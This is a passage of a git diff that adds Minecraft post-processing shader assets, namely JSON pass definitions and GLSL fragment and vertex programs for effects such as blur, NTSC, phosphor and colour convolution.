"swap", + "outtarget": "minecraft:main" + }, + { + "name": "scan_pincushion", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/invert.json b/src/assets/minecraft/shaders/post/invert.json new file mode 100644 index 00000000..2ab63fb6 --- /dev/null +++ b/src/assets/minecraft/shaders/post/invert.json @@ -0,0 +1,23 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "invert", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "InverseAmount", + "values": [ 0.8 ] + } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/notch.json b/src/assets/minecraft/shaders/post/notch.json new file mode 100644 index 00000000..164943c2 --- /dev/null +++ b/src/assets/minecraft/shaders/post/notch.json @@ -0,0 +1,26 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "notch", + "intarget": "minecraft:main", + "outtarget": "swap", + "auxtargets": [ + { + "name": "DitherSampler", + "id": "dither", + "width": 4, + "height": 4, + "bilinear": false + } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/ntsc.json b/src/assets/minecraft/shaders/post/ntsc.json new file mode 100644 index 00000000..abc005bd --- /dev/null +++ b/src/assets/minecraft/shaders/post/ntsc.json @@ -0,0 +1,92 @@ +{ + "targets": [ + "swap", + "swap2", + "previous" + ], + "passes": [ + { + "name": "ntsc_encode", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "ntsc_decode", + "intarget": "swap", + "outtarget": "swap2", + "auxtargets": [ + { + "name": "BaseSampler", + "id": "minecraft:main" + } + ] + }, + { + "name": "color_convolve", + "intarget": "swap2", + "outtarget": "swap" + }, + { + "name": "deconverge", + "intarget": "swap", + "outtarget": "minecraft:main" + }, + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 10.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 10.0 ] + } + ] + }, + { + "name": "scan_pincushion", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "phosphor", + "intarget": "swap", + "outtarget": "minecraft:main", + "auxtargets": [ + { + "name": "PrevSampler", + "id": "previous" + } + ], + "uniforms": [ + { + "name": "Phosphor", + "values": [ 0.4, 0.4, 0.4 ] + } + ] + }, + { + "name": "blit", + "intarget": "minecraft:main", + "outtarget": "previous" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/outline.json b/src/assets/minecraft/shaders/post/outline.json new file mode 100644 index 00000000..53c8ee82 --- /dev/null +++ b/src/assets/minecraft/shaders/post/outline.json @@ -0,0 +1,18 @@ +{ + "targets": [ + "swap", + "final" + ], + "passes": [ + { + "name": "outline", + "intarget": "final", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "final" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/pencil.json b/src/assets/minecraft/shaders/post/pencil.json new file mode 100644 index 00000000..1fc5b133 --- /dev/null +++ b/src/assets/minecraft/shaders/post/pencil.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "outline_soft", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/phosphor.json b/src/assets/minecraft/shaders/post/phosphor.json new file mode 100644 index 00000000..0fa09c4e --- /dev/null +++ b/src/assets/minecraft/shaders/post/phosphor.json @@ -0,0 +1,35 @@ +{ + "targets": [ + "swap", + "previous" + ], + "passes": [ + { + "name": "phosphor", + "intarget": "minecraft:main", + "outtarget": "swap", + "auxtargets": [ + { + "name": "PrevSampler", + "id": "previous" + } + ], + "uniforms": [ + { + "name": "Phosphor", + "values": [ 0.95, 0.95, 0.95 ] + } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "previous" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/scan_pincushion.json b/src/assets/minecraft/shaders/post/scan_pincushion.json new file mode 100644 index 00000000..b5d0a3ed --- /dev/null +++ b/src/assets/minecraft/shaders/post/scan_pincushion.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "scan_pincushion", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/sobel.json b/src/assets/minecraft/shaders/post/sobel.json new file mode 100644 index 00000000..5c390a4b --- /dev/null +++ b/src/assets/minecraft/shaders/post/sobel.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "sobel", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/spider.json b/src/assets/minecraft/shaders/post/spider.json new file mode 100644 index 00000000..5f203c13 --- /dev/null +++ b/src/assets/minecraft/shaders/post/spider.json @@ -0,0 +1,230 @@ +{ + "targets": [ + "largeBlur", + "smallBlur", + "temp", + "swap" + ], + "passes": [ + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "temp", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 15.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "temp", + "outtarget": "largeBlur", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 15.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "temp", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 7.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "temp", + "outtarget": "smallBlur", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 7.0 ] + } + ] + }, + { + "name": "spider", + "intarget": "minecraft:main", + "outtarget": "temp", + "auxtargets": [ + { + "name": "BlurSampler", + "id": "largeBlur" + } + ], + "uniforms": [ + { + "name": "InScale", + "values": [ 1.25, 2.0 ] + }, + { + "name": "InOffset", + "values": [ -0.125, -0.1 ] + }, + { + "name": "Scissor", + "values": [ 0.0, 0.0, 1.0, 1.0 ] + }, + { + "name": "Vignette", + "values": [ 0.1, 0.1, 0.9, 0.9 ] + } + ] + }, + { + "name": "spider", + "intarget": "smallBlur", + "outtarget": "swap", + "auxtargets": [ + { + "name": "BlurSampler", + "id": "temp" + } + ], + "uniforms": [ + { + "name": "InScale", + "values": [ 2.35, 4.2 ] + }, + { + "name": "InOffset", + "values": [ -1.1, -1.5 ] + }, + { + "name": "InRotation", + "values": [ -45.0 ] + }, + { + "name": "Scissor", + "values": [ 0.21, 0.0, 0.79, 1.0 ] + }, + { + "name": "Vignette", + "values": [ 0.31, 0.1, 0.69, 0.9 ] + } + ] + }, + { + "name": "spider", + "intarget": "smallBlur", + "outtarget": "temp", + "auxtargets": [ + { + "name": "BlurSampler", + "id": "swap" + } + ], + "uniforms": [ + { + "name": "InScale", + "values": [ 2.35, 4.2 ] + }, + { + "name": "InOffset", + "values": [ 0.45, -4.45 ] + }, + { + "name": "InRotation", + "values": [ 45.0 ] + }, + { + "name": "Scissor", + "values": [ 0.21, 0.0, 0.79, 1.0 ] + }, + { + "name": "Vignette", + "values": [ 0.31, 0.1, 0.69, 0.9 ] + } + ] + }, + { + "name": "spider", + "intarget": "smallBlur", + "outtarget": "swap", + "auxtargets": [ + { + "name": "BlurSampler", + "id": "temp" + } + ], + "uniforms": [ + { + "name": "InScale", + "values": [ 2.35, 2.35 ] + }, + { + "name": "InOffset", + "values": [ -0.385, -1.29 ] + }, + { + "name": "InRotation", + "values": [ 0.0 ] + }, + { + "name": "Vignette", + "values": [ 0.31, 0.1, 0.69, 0.9 ] + } + ] + }, + { + "name": "spider", + "intarget": "smallBlur", + "outtarget": "temp", + "auxtargets": [ + { + "name": "BlurSampler", + "id": "swap" + } + ], + "uniforms": [ + { + "name": "InScale", + "values": [ 2.35, 2.35 ] + }, + { + "name": "InOffset", + "values": [ -0.965, -1.29 ] + }, + { + "name": "Vignette", + "values": [ 0.31, 0.1, 0.69, 0.9 ] + } + ] + }, + { + "name": "blit", + "intarget": "temp", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "ColorModulate", + "values": [ 1.0, 0.8, 0.8, 1.0 ] + } + ] + } + ] +} diff --git a/src/assets/minecraft/shaders/post/transparency.json b/src/assets/minecraft/shaders/post/transparency.json new file mode 100644 index 00000000..8642ac2d --- /dev/null +++ b/src/assets/minecraft/shaders/post/transparency.json @@ -0,0 +1,69 @@ +{ + "targets": [ + "water", + "translucent", + "itemEntity", + "particles", + "clouds", + "weather", + "final" + ], + "passes": [ + { + "name": "transparency", + "intarget": "minecraft:main", + "outtarget": "final", + "auxtargets": [ + { + "name": "DiffuseDepthSampler", + "id": "minecraft:main:depth" + }, + { + "name": "TranslucentSampler", + "id": "translucent" + }, + { + "name": "TranslucentDepthSampler", + "id": "translucent:depth" + }, + { + "name": "ItemEntitySampler", + "id": "itemEntity" + }, + { + "name": "ItemEntityDepthSampler", + "id": "itemEntity:depth" + }, + { + "name": "ParticlesSampler", + "id": "particles" + }, + { + "name": "ParticlesDepthSampler", + "id": "particles:depth" + }, + { + "name": "CloudsSampler", + "id": "clouds" + }, + { + "name": "CloudsDepthSampler", + "id": "clouds:depth" + }, + { + "name": "WeatherSampler", + "id": "weather" + }, + { + "name": "WeatherDepthSampler", + "id": "weather:depth" + } + ] + }, + { + "name": "blit", + "intarget": "final", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/wobble.json b/src/assets/minecraft/shaders/post/wobble.json new file mode 100644 index 00000000..1fc45346 --- /dev/null +++ b/src/assets/minecraft/shaders/post/wobble.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "wobble", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/program/antialias.fsh b/src/assets/minecraft/shaders/program/antialias.fsh new file mode 100644 index 00000000..94986b08 --- /dev/null +++ b/src/assets/minecraft/shaders/program/antialias.fsh @@ -0,0 +1,29 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 c = texture2D (DiffuseSampler, texCoord); + vec4 u1 = texture2D (DiffuseSampler, texCoord + vec2 ( 0.0, -oneTexel.y )); + vec4 u2 = texture2D (DiffuseSampler, texCoord + vec2 ( 0.0, -oneTexel.y * 2.0)); + vec4 d1 = texture2D (DiffuseSampler, texCoord + vec2 ( 0.0, oneTexel.y )); + vec4 d2 = texture2D (DiffuseSampler, texCoord + vec2 ( 0.0, oneTexel.y * 2.0)); + vec4 l1 = texture2D (DiffuseSampler, texCoord + vec2 (-oneTexel.x, 0.0)); + vec4 l2 = texture2D (DiffuseSampler, texCoord + vec2 (-oneTexel.x * 2.0, 0.0)); + vec4 r1 = texture2D (DiffuseSampler, texCoord + vec2 ( oneTexel.x, 0.0)); + vec4 r2 = texture2D (DiffuseSampler, texCoord + vec2 ( oneTexel.x * 2.0, 0.0)); + + vec4 v1 = mix (c, mix (l1, l2, 0.667), 0.75); + vec4 v2 = mix (c, mix (r1, r2, 0.667), 0.75); + vec4 v3 = mix (c, mix (u1, u2, 0.667), 0.75); + vec4 v4 = mix (c, mix (d1, d2, 0.667), 0.75); + + vec4 v5 = mix (v1, v2, 0.5); + vec4 v6 = mix (v3, v4, 0.5); + + vec4 color = mix (v5, v6, 0.5); + gl_FragColor = vec4(color.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/antialias.json b/src/assets/minecraft/shaders/program/antialias.json new file mode 100644 index 00000000..6916fd9a --- /dev/null +++ b/src/assets/minecraft/shaders/program/antialias.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "blobs", + "fragment": "antialias", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/bits.fsh b/src/assets/minecraft/shaders/program/bits.fsh new file mode 100644 index 00000000..6212380e --- /dev/null +++ b/src/assets/minecraft/shaders/program/bits.fsh @@ -0,0 +1,27 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform float Resolution; +uniform float Saturation; +uniform float MosaicSize; + +void main() { + vec2 mosaicInSize = InSize / MosaicSize; + vec2 fractPix = fract(texCoord * mosaicInSize) / mosaicInSize; + + vec4 baseTexel = texture2D(DiffuseSampler, texCoord - fractPix); + + vec3 fractTexel = baseTexel.rgb - fract(baseTexel.rgb * Resolution) / Resolution; + float luma = dot(fractTexel, vec3(0.3, 0.59, 0.11)); + vec3 chroma = (fractTexel - luma) * Saturation; + baseTexel.rgb = luma + chroma; + baseTexel.a = 1.0; + + gl_FragColor = baseTexel; +} diff --git a/src/assets/minecraft/shaders/program/bits.json b/src/assets/minecraft/shaders/program/bits.json new file mode 100644 index 00000000..c19239b8 --- /dev/null +++ b/src/assets/minecraft/shaders/program/bits.json @@ -0,0 +1,21 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "bits", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Resolution", "type": "float", "count": 1, "values": [ 4.0 ] }, + { "name": "Saturation", "type": "float", "count": 1, "values": [ 1.5 ] }, + { "name": "MosaicSize", "type": "float", "count": 1, "values": [ 8.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/blit.fsh b/src/assets/minecraft/shaders/program/blit.fsh new file mode 100644 index 00000000..edcdeb47 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blit.fsh @@ -0,0 +1,11 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +uniform vec4 ColorModulate; + +varying vec2 texCoord; + +void main(){ + gl_FragColor = texture2D(DiffuseSampler, texCoord) * ColorModulate; +} diff --git a/src/assets/minecraft/shaders/program/blit.json b/src/assets/minecraft/shaders/program/blit.json new file mode 100644 index 00000000..1256b6b1 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blit.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "srcalpha", + "dstrgb": "1-srcalpha" + }, + "vertex": "blit", + "fragment": "blit", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "ColorModulate", "type": "float", "count": 4, "values": [ 1.0, 1.0, 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/blit.vsh b/src/assets/minecraft/shaders/program/blit.vsh new file mode 100644 index 00000000..a81b88a5 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blit.vsh @@ -0,0 +1,15 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 OutSize; + +varying vec2 texCoord; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + texCoord = Position.xy / OutSize; +} diff --git a/src/assets/minecraft/shaders/program/blobs.fsh b/src/assets/minecraft/shaders/program/blobs.fsh new file mode 100644 index 00000000..bdcbf6ad --- /dev/null +++ b/src/assets/minecraft/shaders/program/blobs.fsh @@ -0,0 +1,43 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 u = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y)); + vec4 d = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y)); + vec4 l = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0)); + vec4 r = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0)); + + vec4 v1 = min(l, r); + vec4 v2 = min(u, d); + vec4 v3 = min(v1, v2); + + vec4 ul = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, -oneTexel.y)); + vec4 dr = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, oneTexel.y)); + vec4 dl = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, oneTexel.y)); + vec4 ur = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, -oneTexel.y)); + + vec4 v4 = min(ul, dr); + vec4 v5 = min(ur, dl); + vec4 v6 = min(v4, v5); + + vec4 v7 = min(v3, v6); + + vec4 uu = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y * 2.0)); + vec4 dd = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y * 2.0)); + vec4 ll = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x * 2.0, 0.0)); + vec4 rr = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x * 2.0, 0.0)); + + vec4 v8 = min(uu, dd); + vec4 v9 = min(ll, rr); + vec4 v10 = min(v8, v9); + + vec4 v11 = min(v7, v10); + + vec4 c = texture2D(DiffuseSampler, texCoord); + vec4 color = min(c, v11); + gl_FragColor = vec4(color.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/blobs.json b/src/assets/minecraft/shaders/program/blobs.json new file mode 100644 index 00000000..6a5f2455 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blobs.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "blobs", + "fragment": "blobs", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/blobs.vsh b/src/assets/minecraft/shaders/program/blobs.vsh new file mode 100644 index 00000000..f0170458 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blobs.vsh @@ -0,0 +1,17 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + oneTexel = 1.0 / InSize; + texCoord = outPos.xy * 0.5 + 0.5; +} diff --git a/src/assets/minecraft/shaders/program/blobs2.fsh b/src/assets/minecraft/shaders/program/blobs2.fsh new file mode 100644 index 00000000..429e1c3d --- /dev/null +++ b/src/assets/minecraft/shaders/program/blobs2.fsh @@ -0,0 +1,30 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform float Radius; + +void main(){ + vec4 c = texture2D(DiffuseSampler, texCoord); + vec4 maxVal = c; + for(float u = 0.0; u <= Radius; u += 1.0) { + for(float v = 0.0; v <= Radius; v += 1.0) { + float weight = (((sqrt(u * u + v * v) / (Radius)) > 1.0) ? 0.0 : 1.0); + + vec4 s0 = texture2D(DiffuseSampler, texCoord + vec2(-u * oneTexel.x, -v * oneTexel.y)); + vec4 s1 = texture2D(DiffuseSampler, texCoord + vec2( u * oneTexel.x, v * oneTexel.y)); + vec4 s2 = texture2D(DiffuseSampler, texCoord + vec2(-u * oneTexel.x, v * oneTexel.y)); + vec4 s3 = texture2D(DiffuseSampler, texCoord + vec2( u * oneTexel.x, -v * oneTexel.y)); + + vec4 o0 = max(s0, s1); + vec4 o1 = max(s2, s3); + vec4 tempMax = max(o0, o1); + maxVal = mix(maxVal, max(maxVal, tempMax), weight); + } + } + + gl_FragColor = vec4(maxVal.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/blobs2.json b/src/assets/minecraft/shaders/program/blobs2.json new file mode 100644 index 00000000..6df4594b --- /dev/null +++ b/src/assets/minecraft/shaders/program/blobs2.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "blobs", + "fragment": "blobs2", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Radius", "type": "float", "count": 1, "values": [ 7.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/blur.fsh b/src/assets/minecraft/shaders/program/blur.fsh new file mode 100644 index 00000000..9d1050c7 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blur.fsh @@ -0,0 +1,31 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec2 BlurDir; +uniform float Radius; + +void main() { + vec4 blurred = vec4(0.0); + float totalStrength = 0.0; + float totalAlpha = 0.0; + float totalSamples = 0.0; + for(float r = -Radius; r <= Radius; r += 1.0) { + vec4 sampleValue = texture2D(DiffuseSampler, texCoord + oneTexel * r * BlurDir); + + // Accumulate average alpha + totalAlpha = totalAlpha + sampleValue.a; + totalSamples = totalSamples + 1.0; + + // Accumulate smoothed blur + float strength = 1.0 - abs(r / Radius); + totalStrength = totalStrength + strength; + blurred = blurred + sampleValue; + } + gl_FragColor = vec4(blurred.rgb / (Radius * 2.0 + 1.0), totalAlpha); +} diff --git a/src/assets/minecraft/shaders/program/blur.json b/src/assets/minecraft/shaders/program/blur.json new file mode 100644 index 00000000..51a23239 --- /dev/null +++ b/src/assets/minecraft/shaders/program/blur.json @@ -0,0 +1,20 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "blur", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "BlurDir", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Radius", "type": "float", "count": 1, "values": [ 5.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/bumpy.fsh b/src/assets/minecraft/shaders/program/bumpy.fsh new file mode 100644 index 00000000..bb37b1d2 --- /dev/null +++ b/src/assets/minecraft/shaders/program/bumpy.fsh @@ -0,0 +1,34 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 c = texture2D(DiffuseSampler, texCoord); + vec4 u = texture2D(DiffuseSampler, texCoord + vec2( 0.0, -oneTexel.y)); + vec4 d = texture2D(DiffuseSampler, texCoord + vec2( 0.0, oneTexel.y)); + vec4 l = texture2D(DiffuseSampler, texCoord + vec2(-oneTexel.x, 0.0)); + vec4 r = texture2D(DiffuseSampler, texCoord + vec2( oneTexel.x, 0.0)); + + vec4 nc = normalize(c); + vec4 nu = normalize(u); + vec4 nd = normalize(d); + vec4 nl = normalize(l); + vec4 nr = normalize(r); + + float du = dot(nc, nu); + float dd = dot(nc, nd); + float dl = dot(nc, nl); + float dr = dot(nc, nr); + + float i = 64.0; + + float f = 1.0; + f += (du * i) - (dd * i); + f += (dr * i) - (dl * i); + + vec4 color = c * clamp(f, 0.5, 2.0); + gl_FragColor = vec4(color.rgb, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/bumpy.json b/src/assets/minecraft/shaders/program/bumpy.json new file mode 100644 index 00000000..59cae198 --- /dev/null +++ b/src/assets/minecraft/shaders/program/bumpy.json @@ -0,0 +1,18 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "bumpy", + "fragment": "bumpy", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] } + ] +} diff --git a/src/assets/minecraft/shaders/program/bumpy.vsh b/src/assets/minecraft/shaders/program/bumpy.vsh new file mode 100644 index 00000000..f0170458 --- /dev/null +++ b/src/assets/minecraft/shaders/program/bumpy.vsh @@ -0,0 +1,17 @@ +#version 110 + +attribute vec4 Position; + +uniform mat4 ProjMat; +uniform vec2 InSize; + +varying vec2 texCoord; +varying vec2 oneTexel; + +void main(){ + vec4 outPos = ProjMat * vec4(Position.xy, 0.0, 1.0); + gl_Position = vec4(outPos.xy, 0.2, 1.0); + + oneTexel = 1.0 / InSize; + texCoord = outPos.xy * 0.5 + 0.5; +} diff --git a/src/assets/minecraft/shaders/program/color_convolve.fsh b/src/assets/minecraft/shaders/program/color_convolve.fsh new file mode 100644 index 00000000..5a3052bf --- /dev/null +++ b/src/assets/minecraft/shaders/program/color_convolve.fsh @@ -0,0 +1,36 @@ +#version 110 + +uniform sampler2D DiffuseSampler; + +varying vec2 texCoord; +varying vec2 oneTexel; + +uniform vec2 InSize; + +uniform vec3 Gray; +uniform vec3 RedMatrix; +uniform vec3 GreenMatrix; +uniform vec3 BlueMatrix; +uniform vec3 Offset; +uniform vec3 ColorScale; +uniform float Saturation; + +void main() { + vec4 InTexel = texture2D(DiffuseSampler, texCoord); + + // Color Matrix + float RedValue = dot(InTexel.rgb, RedMatrix); + float GreenValue = dot(InTexel.rgb, GreenMatrix); + float BlueValue = dot(InTexel.rgb, BlueMatrix); + vec3 OutColor = vec3(RedValue, GreenValue, BlueValue); + + // Offset & scaled + OutColor = (OutColor * ColorScale) + Offset; + + // Saturation + float Luma = dot(OutColor, Gray); + vec3 Chroma = OutColor - Luma; + OutColor = (Chroma * Saturation) + Luma; + + gl_FragColor = vec4(OutColor, 1.0); +} diff --git a/src/assets/minecraft/shaders/program/color_convolve.json b/src/assets/minecraft/shaders/program/color_convolve.json new file mode 100644 index 00000000..e3a32c2d --- /dev/null +++ b/src/assets/minecraft/shaders/program/color_convolve.json @@ -0,0 +1,25 @@ +{ + "blend": { + "func": "add", + "srcrgb": "one", + "dstrgb": "zero" + }, + "vertex": "sobel", + "fragment": "color_convolve", + "attributes": [ "Position" ], + "samplers": [ + { "name": "DiffuseSampler" } + ], + "uniforms": [ + { "name": "ProjMat", "type": "matrix4x4", "count": 16, "values": [ 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0 ] }, + { "name": "InSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "OutSize", "type": "float", "count": 2, "values": [ 1.0, 1.0 ] }, + { "name": "Gray", "type": "float", "count": 3, "values": [ 0.3, 0.59, 0.11 